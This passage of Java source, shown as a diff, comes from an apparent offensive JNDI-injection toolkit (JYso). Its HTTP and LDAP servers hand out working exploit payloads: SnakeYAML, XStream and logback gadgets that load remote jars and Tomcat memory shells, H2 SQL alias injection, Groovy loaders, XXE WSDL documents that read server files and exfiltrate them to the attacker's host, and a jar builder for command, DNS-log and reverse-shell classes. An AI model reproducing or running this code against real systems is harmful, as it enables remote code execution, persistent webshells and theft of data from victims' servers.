String path = exchange.getRequestURI().getPath();
|
||||||
|
String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1);
|
||||||
|
File file = new File(filename);
|
||||||
|
if (file.exists()) {
|
||||||
|
byte[] bytes = new byte[(int) file.length()];
|
||||||
|
FileInputStream fileInputStream = new FileInputStream(file);
|
||||||
|
fileInputStream.read(bytes);
|
||||||
|
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||||
|
exchange.getResponseBody().write(bytes);
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleYmlRequest(HttpExchange exchange) throws IOException {
|
||||||
|
String path = exchange.getRequestURI().getPath();
|
||||||
|
// String host = exchange.getRequestURI().getHost();
|
||||||
|
String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||||
|
String bytes = "!!javax.script.ScriptEngineManager [\n" +
|
||||||
|
" !!java.net.URLClassLoader [[\n" +
|
||||||
|
" !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" +
|
||||||
|
" ]]\n" +
|
||||||
|
"]\n";
|
||||||
|
|
||||||
|
if (YamlName.equalsIgnoreCase("snake")) {
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||||
|
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||||
|
// exchange.sendResponseHeaders(200, yaml.getObject().length + 1);
|
||||||
|
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||||
|
// exchange.getResponseBody().write(yaml.getObject("UTF-8"));
|
||||||
|
} else {
|
||||||
|
String pa = cwd + File.separator + "data";
|
||||||
|
File file = new File(pa + File.separator + YamlName + ".yml");
|
||||||
|
if (file.exists()) {
|
||||||
|
byte[] bytes1 = new byte[(int) file.length()];
|
||||||
|
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||||
|
fileInputStream.read(bytes1);
|
||||||
|
}
|
||||||
|
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||||
|
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||||
|
exchange.getResponseBody().write(bytes1);
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void handleTXTRequest(HttpExchange exchange) throws IOException {
|
||||||
|
String path = exchange.getRequestURI().getPath();
|
||||||
|
String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||||
|
if (txtname.equalsIgnoreCase("isok")) {
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
byte[] bytes = "success!".getBytes();
|
||||||
|
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||||
|
exchange.sendResponseHeaders(200, bytes.length + 1);
|
||||||
|
exchange.getResponseBody().write(bytes);
|
||||||
|
} else {
|
||||||
|
String pa = cwd + File.separator + "data";
|
||||||
|
File file = new File(pa + File.separator + txtname + ".txt");
|
||||||
|
|
||||||
|
if (file.exists()) {
|
||||||
|
|
||||||
|
byte[] bytes1 = new byte[(int) file.length()];
|
||||||
|
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||||
|
fileInputStream.read(bytes1);
|
||||||
|
}
|
||||||
|
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||||
|
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||||
|
exchange.getResponseBody().write(bytes1);
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: @|" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void handleXMLRequest(HttpExchange exchange) throws IOException {
|
||||||
|
String path = exchange.getRequestURI().getPath();
|
||||||
|
// String host = exchange.getRequestURI().getHost();
|
||||||
|
String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||||
|
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":" + Config.ldapPort + "/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
|
||||||
|
String xstream = "<linked-hash-set>\n" +
|
||||||
|
" <jdk.nashorn.internal.objects.NativeString>\n" +
|
||||||
|
" <flags>0</flags>\n" +
|
||||||
|
" <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
|
||||||
|
" <dataHandler>\n" +
|
||||||
|
" <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
|
||||||
|
" <is class=\"javax.crypto.CipherInputStream\">\n" +
|
||||||
|
" <cipher class=\"javax.crypto.NullCipher\">\n" +
|
||||||
|
" <initialized>false</initialized>\n" +
|
||||||
|
" <opmode>0</opmode>\n" +
|
||||||
|
" <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
|
||||||
|
" <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
|
||||||
|
" <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
|
||||||
|
" <next class=\"com.sun.rowset.JdbcRowSetImpl\" serialization=\"custom\">\n" +
|
||||||
|
" <javax.sql.rowset.BaseRowSet>\n" +
|
||||||
|
" <default>\n" +
|
||||||
|
" <concurrency>1008</concurrency>\n" +
|
||||||
|
" <escapeProcessing>true</escapeProcessing>\n" +
|
||||||
|
" <fetchDir>1000</fetchDir>\n" +
|
||||||
|
" <fetchSize>0</fetchSize>\n" +
|
||||||
|
" <isolation>2</isolation>\n" +
|
||||||
|
" <maxFieldSize>0</maxFieldSize>\n" +
|
||||||
|
" <maxRows>0</maxRows>\n" +
|
||||||
|
" <queryTimeout>0</queryTimeout>\n" +
|
||||||
|
" <readOnly>true</readOnly>\n" +
|
||||||
|
" <rowSetType>1004</rowSetType>\n" +
|
||||||
|
" <showDeleted>false</showDeleted>\n" +
|
||||||
|
" <dataSource>ldap://" + Config.ip + ":1389/basic/TomcatMemShell3</dataSource>\n" +
|
||||||
|
" <listeners/>\n" +
|
||||||
|
" <params/>\n" +
|
||||||
|
" </default>\n" +
|
||||||
|
" </javax.sql.rowset.BaseRowSet>\n" +
|
||||||
|
" <com.sun.rowset.JdbcRowSetImpl>\n" +
|
||||||
|
" <default>\n" +
|
||||||
|
" <iMatchColumns>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" <int>-1</int>\n" +
|
||||||
|
" </iMatchColumns>\n" +
|
||||||
|
" <strMatchColumns>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" <null/>\n" +
|
||||||
|
" </strMatchColumns>\n" +
|
||||||
|
" </default>\n" +
|
||||||
|
" </com.sun.rowset.JdbcRowSetImpl>\n" +
|
||||||
|
" </next>\n" +
|
||||||
|
" </iter>\n" +
|
||||||
|
" <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
|
||||||
|
" <method>\n" +
|
||||||
|
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
|
||||||
|
" <name>getDatabaseMetaData</name>\n" +
|
||||||
|
" <parameter-types/>\n" +
|
||||||
|
" </method>\n" +
|
||||||
|
" <name>foo</name>\n" +
|
||||||
|
" </filter>\n" +
|
||||||
|
" <next class=\"string\">foo</next>\n" +
|
||||||
|
" </serviceIterator>\n" +
|
||||||
|
" <lock/>\n" +
|
||||||
|
" </cipher>\n" +
|
||||||
|
" <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
|
||||||
|
" <ibuffer></ibuffer>\n" +
|
||||||
|
" <done>false</done>\n" +
|
||||||
|
" <ostart>0</ostart>\n" +
|
||||||
|
" <ofinish>0</ofinish>\n" +
|
||||||
|
" <closed>false</closed>\n" +
|
||||||
|
" </is>\n" +
|
||||||
|
" <consumed>false</consumed>\n" +
|
||||||
|
" </dataSource>\n" +
|
||||||
|
" <transferFlavors/>\n" +
|
||||||
|
" </dataHandler>\n" +
|
||||||
|
" <dataLen>0</dataLen>\n" +
|
||||||
|
" </value>\n" +
|
||||||
|
" </jdk.nashorn.internal.objects.NativeString>\n" +
|
||||||
|
" <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
|
||||||
|
" <entry>\n" +
|
||||||
|
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
|
||||||
|
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
|
||||||
|
" </entry>\n" +
|
||||||
|
"</linked-hash-set>";
|
||||||
|
|
||||||
|
if (xmlName.equals("a")) {
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
|
||||||
|
|
||||||
|
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||||
|
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||||
|
} else if (xmlName.equals("x")) {
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
|
||||||
|
exchange.sendResponseHeaders(200, xstream.getBytes().length + 1);
|
||||||
|
exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8));
|
||||||
|
|
||||||
|
} else {
|
||||||
|
String pa = cwd + File.separator + "data";
|
||||||
|
File file = new File(pa + File.separator + xmlName + ".xml");
|
||||||
|
|
||||||
|
if (file.exists()) {
|
||||||
|
byte[] bytes1 = new byte[(int) file.length()];
|
||||||
|
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||||
|
fileInputStream.read(bytes1);
|
||||||
|
}
|
||||||
|
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
|
||||||
|
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||||
|
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||||
|
exchange.getResponseBody().write(bytes1);
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void handleSQLRequest(HttpExchange exchange) throws IOException {
|
||||||
|
String path = exchange.getRequestURI().getPath();
|
||||||
|
String host = exchange.getRequestURI().getHost();
|
||||||
|
String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||||
|
|
||||||
|
if (sqlName.equalsIgnoreCase("echo")) {
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
|
||||||
|
String name = String.valueOf(System.nanoTime());
|
||||||
|
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
|
||||||
|
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" +
|
||||||
|
"CALL " + name + "();\"}";
|
||||||
|
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||||
|
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||||
|
} else if (sqlName.equalsIgnoreCase("inject")) {
|
||||||
|
System.out.println("@|green Response Code: |@" + 200);
|
||||||
|
|
||||||
|
String name = String.valueOf(System.nanoTime());
|
||||||
|
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
|
||||||
|
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" +
|
||||||
|
"CALL " + name + "();\"}";
|
||||||
|
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||||
|
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||||
|
|
||||||
|
} else {
|
||||||
|
|
||||||
|
String pa = cwd + File.separator + "data";
|
||||||
|
File file = new File(pa + File.separator + sqlName + ".sql");
|
||||||
|
|
||||||
|
if (file.exists()) {
|
||||||
|
byte[] bytes = new byte[(int) file.length()];
|
||||||
|
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||||
|
fileInputStream.read(bytes);
|
||||||
|
}
|
||||||
|
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||||
|
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||||
|
exchange.getResponseBody().write(bytes);
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void handlerGroovyRequest(HttpExchange exchange) throws IOException {
|
||||||
|
String path = exchange.getRequestURI().getPath();
|
||||||
|
String host = exchange.getRequestURI().getHost();
|
||||||
|
String exp = "/TomcatBypass/TomcatEcho";
|
||||||
|
String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||||
|
|
||||||
|
if (groovyName.equalsIgnoreCase("groovyecho")) {
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
|
||||||
|
String bytes = "class demo {\n" +
|
||||||
|
" static void main(){\n" +
|
||||||
|
" com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" +
|
||||||
|
" o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" +
|
||||||
|
" o.setAutoCommit(true);\n" +
|
||||||
|
" }\n" +
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||||
|
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||||
|
|
||||||
|
} else {
|
||||||
|
String pa = cwd + File.separator + "data";
|
||||||
|
File file = new File(pa + File.separator + groovyName + ".groovy");
|
||||||
|
|
||||||
|
if (file.exists()) {
|
||||||
|
byte[] bytes = new byte[(int) file.length()];
|
||||||
|
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||||
|
fileInputStream.read(bytes);
|
||||||
|
}
|
||||||
|
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||||
|
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||||
|
exchange.getResponseBody().write(bytes);
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
|
||||||
|
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
|
||||||
|
Object request = FieldUtils.readField(exchangeImpl, "req", true);
|
||||||
|
String startLine = (String) FieldUtils.readField(request, "startLine", true);
|
||||||
|
|
||||||
|
System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine));
|
||||||
|
exchange.sendResponseHeaders(200, 0);
|
||||||
|
exchange.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleJarRequest(HttpExchange exchange) throws IOException {
|
||||||
|
String path = exchange.getRequestURI().getPath();
|
||||||
|
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||||
|
|
||||||
|
if (jarName.equalsIgnoreCase("behinder3")) {
|
||||||
|
byte[] bytes;
|
||||||
|
String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar";
|
||||||
|
FileReader fileReader = new FileReader(filename, "UTF-8");
|
||||||
|
bytes = fileReader.readBytes();
|
||||||
|
exchange.sendResponseHeaders(200, bytes.length + 1);
|
||||||
|
exchange.getResponseBody().write(bytes);
|
||||||
|
} else {
|
||||||
|
|
||||||
|
String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar";
|
||||||
|
File file = new File(filename);
|
||||||
|
if (file.exists()) {
|
||||||
|
byte[] bytes;
|
||||||
|
FileReader fileReader = new FileReader(filename, "UTF-8");
|
||||||
|
bytes = fileReader.readBytes();
|
||||||
|
exchange.sendResponseHeaders(200, bytes.length + 1);
|
||||||
|
exchange.getResponseBody().write(bytes);
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleClassRequest(HttpExchange exchange) throws IOException {
|
||||||
|
String path = exchange.getRequestURI().getPath();
|
||||||
|
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||||
|
System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
|
||||||
|
if (Cache.contains(className)) {
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
|
||||||
|
byte[] bytes = Cache.get(className);
|
||||||
|
exchange.sendResponseHeaders(200, bytes.length);
|
||||||
|
exchange.getResponseBody().write(bytes);
|
||||||
|
} else {
|
||||||
|
String pa = cwd + path;
|
||||||
|
File file = new File(pa);
|
||||||
|
|
||||||
|
if (file.exists()) {
|
||||||
|
byte[] bytes = new byte[(int) file.length()];
|
||||||
|
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||||
|
fileInputStream.read(bytes);
|
||||||
|
}
|
||||||
|
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||||
|
exchange.sendResponseHeaders(200, file.length());
|
||||||
|
exchange.getResponseBody().write(bytes);
|
||||||
|
|
||||||
|
System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200));
|
||||||
|
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
|
||||||
|
String query = exchange.getRequestURI().getQuery();
|
||||||
|
Map<String, String> params = parseQuery(query);
|
||||||
|
|
||||||
|
String path = exchange.getRequestURI().getPath().substring(1);
|
||||||
|
|
||||||
|
if (path.startsWith("list")) {
|
||||||
|
//intended to list directories or read files on server
|
||||||
|
String file = params.get("file");
|
||||||
|
if (file != null && !file.isEmpty()) {
|
||||||
|
String listWsdl = "" +
|
||||||
|
"<!DOCTYPE x [\n" +
|
||||||
|
" <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
|
||||||
|
" <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
|
||||||
|
" %bbb;\n" +
|
||||||
|
"]>\n" +
|
||||||
|
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
|
||||||
|
" &ddd;\n" +
|
||||||
|
"</definitions>";
|
||||||
|
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
|
||||||
|
exchange.getResponseBody().write(listWsdl.getBytes());
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
|
||||||
|
} else if (path.startsWith("upload")) {
|
||||||
|
String type = params.get("type");
|
||||||
|
|
||||||
|
String[] args = null;
|
||||||
|
if (type.equalsIgnoreCase("command")) {
|
||||||
|
args = new String[]{params.get("cmd")};
|
||||||
|
} else if (type.equalsIgnoreCase("dnslog")) {
|
||||||
|
args = new String[]{params.get("url")};
|
||||||
|
} else if (type.equalsIgnoreCase("reverseshell")) {
|
||||||
|
args = new String[]{params.get("ip"), params.get("port")};
|
||||||
|
}
|
||||||
|
|
||||||
|
String jarName = createJar(type, args);
|
||||||
|
if (jarName != null) {
|
||||||
|
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.ip + ":" + Config.httpPort +
|
||||||
|
"/" + jarName + ".jar!/file.txt\"><a></a>";
|
||||||
|
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
|
||||||
|
exchange.getResponseBody().write(uploadWsdl.getBytes());
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
}
|
||||||
|
exchange.close();
|
||||||
|
} else if (path.startsWith("http")) {
|
||||||
|
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd '<import namespace=\"uri\" location=\"http://" +
|
||||||
|
Config.ip + ":" + Config.httpPort + "/xxelog?%aaa;\"/>'>'>%ccc;";
|
||||||
|
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||||
|
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
|
||||||
|
exchange.getResponseBody().write(xxhttp.getBytes());
|
||||||
|
exchange.close();
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||||
|
exchange.sendResponseHeaders(404, 0);
|
||||||
|
exchange.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, String> parseQuery(String query) {
|
||||||
|
Map<String, String> params = new HashMap<>();
|
||||||
|
|
||||||
|
try {
|
||||||
|
for (String str : query.split("&")) {
|
||||||
|
try {
|
||||||
|
String[] parts = str.split("=", 2);
|
||||||
|
params.put(parts[0], parts[1]);
|
||||||
|
} catch (Exception e) {
|
||||||
|
//continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
//continue
|
||||||
|
}
|
||||||
|
|
||||||
|
return params;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
|
||||||
|
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
|
||||||
|
目前暂时认为其不会有问题,如果有问题,后面再修改
|
||||||
|
*/
|
||||||
|
private static String createJar(String type, String... params) throws Exception {
|
||||||
|
byte[] bytes;
|
||||||
|
String className = "xExportObject";
|
||||||
|
|
||||||
|
switch (type.toLowerCase()) {
|
||||||
|
case "command":
|
||||||
|
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
|
||||||
|
bytes = commandTemplate.getBytes();
|
||||||
|
break;
|
||||||
|
case "dnslog":
|
||||||
|
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
|
||||||
|
bytes = dnslogTemplate.getBytes();
|
||||||
|
break;
|
||||||
|
case "reverseshell":
|
||||||
|
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
|
||||||
|
bytes = reverseShellTemplate.getBytes();
|
||||||
|
break;
|
||||||
|
case "webspherememshell":
|
||||||
|
ClassPool classPool = ClassPool.getDefault();
|
||||||
|
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
|
||||||
|
exploitClass.setName(className);
|
||||||
|
exploitClass.detach();
|
||||||
|
bytes = exploitClass.toBytecode();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className));
|
||||||
|
ByteArrayOutputStream bout = new ByteArrayOutputStream();
|
||||||
|
JarOutputStream jarOut = new JarOutputStream(bout);
|
||||||
|
jarOut.putNextEntry(new ZipEntry(className + ".class"));
|
||||||
|
jarOut.write(bytes);
|
||||||
|
jarOut.closeEntry();
|
||||||
|
jarOut.close();
|
||||||
|
bout.close();
|
||||||
|
|
||||||
|
String jarName = Util.getRandomString();
|
||||||
|
Cache.set(jarName, bout.toByteArray());
|
||||||
|
|
||||||
|
return jarName;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,121 @@
|
|||||||
|
package com.qi4l.JYso;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.controllers.LdapController;
|
||||||
|
import com.qi4l.JYso.controllers.LdapMapping;
|
||||||
|
import com.qi4l.JYso.controllers.utils.AESUtils;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||||
|
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||||
|
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||||
|
import org.reflections.Reflections;
|
||||||
|
|
||||||
|
import javax.net.ServerSocketFactory;
|
||||||
|
import javax.net.SocketFactory;
|
||||||
|
import javax.net.ssl.SSLSocketFactory;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.net.InetAddress;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.TreeMap;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
|
||||||
|
public class LdapServer extends InMemoryOperationInterceptor {
|
||||||
|
|
||||||
|
public static TreeMap<String, LdapController> routes = new TreeMap<>();
|
||||||
|
|
||||||
|
public LdapServer() throws Exception {
|
||||||
|
|
||||||
|
//find all classes annotated with @LdapMapping
|
||||||
|
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
|
||||||
|
.getTypesAnnotatedWith(LdapMapping.class);
|
||||||
|
|
||||||
|
//instantiate them and store in the routes map
|
||||||
|
for (Class<?> controller : controllers) {
|
||||||
|
Constructor<?> cons = controller.getConstructor();
|
||||||
|
LdapController instance = (LdapController) cons.newInstance();
|
||||||
|
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
|
||||||
|
for (String mapping : mappings) {
|
||||||
|
if (mapping.startsWith("/")) {
|
||||||
|
mapping = mapping.substring(1); //remove first forward slash
|
||||||
|
routes.put(mapping, instance);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void start() {
|
||||||
|
try {
|
||||||
|
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
||||||
|
|
||||||
|
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
|
||||||
|
"listen",
|
||||||
|
InetAddress.getByName("0.0.0.0"),
|
||||||
|
Config.ldapPort,
|
||||||
|
ServerSocketFactory.getDefault(),
|
||||||
|
SocketFactory.getDefault(),
|
||||||
|
(SSLSocketFactory) SSLSocketFactory.getDefault()));
|
||||||
|
if (!USER.equals("") || !PASSWD.equals("")) {
|
||||||
|
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
|
||||||
|
}
|
||||||
|
|
||||||
|
//添加操作拦截器
|
||||||
|
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
|
||||||
|
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
|
||||||
|
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
|
||||||
|
ds.startListening();
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "..."));
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void processSearchResult(InMemoryInterceptedSearchResult result) {
|
||||||
|
String base;
|
||||||
|
